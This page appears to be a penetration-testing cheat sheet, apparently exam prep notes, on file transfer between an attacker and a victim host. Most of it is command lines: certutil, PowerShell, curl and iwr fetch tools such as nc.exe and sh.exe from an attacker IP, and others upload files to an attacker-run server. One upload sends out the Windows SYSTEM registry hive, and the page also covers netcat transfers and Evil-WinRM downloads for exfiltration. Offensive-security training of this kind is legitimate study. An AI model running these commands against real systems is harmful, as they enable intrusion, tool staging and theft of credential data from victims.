File Transfers
Last updated
Was this helpful?
Last updated
Was this helpful?
Curl: curl -O /tmp/ http://<IP>/
netcat
Wget: wget http://<IP>:<port>/
netcat
SSH File Transfer: scp -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -P <PORT> student@<IP>:/challenge/xyz.zip .
Netcat: nc -nlvp 4444 > incoming.exe
(Windows)
Netcat: nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
(Linux)
Refer here first, Clone the repository first and Change the paths below
On Attacker: python3 SimpleHTTPServerWithUpload.py
On Victim: curl -F 'file=@/opt/backup/testfile.zip' http://<IP>:8000/
Netcat method (Google it)
SCP through SSH (Google it)
Method 1: certutil -urlcache -split -f 'http://<IP>/file.exe' file.exe
Method 2: certutil -urlcache -split -f http://<IP>/file.exe file.exe
Method 3 (Transfer directly to temp destination):
certutil -urlcache -split -f http://<IP>:80/nc.exe C:\windows\temp\nc.exe
Powershell method: powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://<IP>:443/sh.exe', 'sh.exe')"
Curl Method: curl.exe http://<IP>:80/file.exe -o file.exe
Curl Method 2: curl.exe <IP>/nc.exe -o nc.exe
Powershell method 2: iwr -uri http://<IP>/file.exe -Outfile file.exe
Learn the impacket smbshare method and tftp method too from the below article - It helps!
My go-to method is: Refer here
On Attacker: python3 SimpleHTTPServerWithUpload.py
On Victim: Change the path of the file to be transferred
powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://<IP>:8000/', 'C:\windows.old\Windows\System32\system')"
OR
On Victim: Change the path of the file to be transferred
curl -F 'file=@/opt/backup/file.zip' http://<IP>:8000/
0xdf Method is also nice: Refer here
MOST IMPORTANT: Learn how to exfil data using Evil-winrm with the download feature, it will come in very handy and is one of the most important parts of the exam, refer here.
download <File to be exfiltrated location> <Local location where it should be exfiltrated>